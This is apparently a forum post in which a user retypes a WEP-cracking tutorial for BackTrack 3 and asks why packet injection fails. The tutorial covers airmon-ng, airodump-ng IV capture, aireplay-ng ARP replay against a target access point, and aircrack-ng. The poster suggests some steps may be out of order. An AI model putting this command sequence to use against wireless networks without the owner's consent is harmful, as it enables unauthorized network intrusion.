First off, I'm using a Dell Inspiron 1501 with a Broadcom 4311 wireless card. It works with Linux 'cause when I boot the BT 3.0 Final LiveCD and open up the wireless assistant, I can connect to my home network.

I found a tutorial everyone else claims works great, but I can't get it to work for me. I can't find the damn site again, so I'll just type it out. I just wanna know if there's anything in this tutorial that's wrong and could be causing my problems. I'm typing it out word for word from a copy I printed out, so obviously some things like the channel of the target and stuff will vary.

The problem I'm having is that it won't sent packets and it won't get ARP requests.

1. Setting up the card

Stop the adapter using this command:

airmon-ng stop eth1


ifconfig eth1 down

2. Finding an AP

Open a new Konsole and type:

airodump-ng eth1

Close that Konsole and go back to the first one we opened and type:

airodump-ng --ivs --channel 6 -w /root/wepivs eth1

Open a new Konsole and type:

airmon-ng start eth1 6

3. Packet injection
(This is where I encounter my problem of not getting ARPs.)

aireplay-ng -3 -b "TARGET MAC" -h "CARD MAC" eth1

Open a new Konsole and type:

airmon-ng start eth1 6

4. Cracking the WEP

aircrack-ng -s /root/wepivs-01.ivs

That's where it ends. Is there a step missing? Are some steps outta order?

If there doesn't seem to be anything wrong here, can you maybe link me to another tutorial known to work well for everyone?
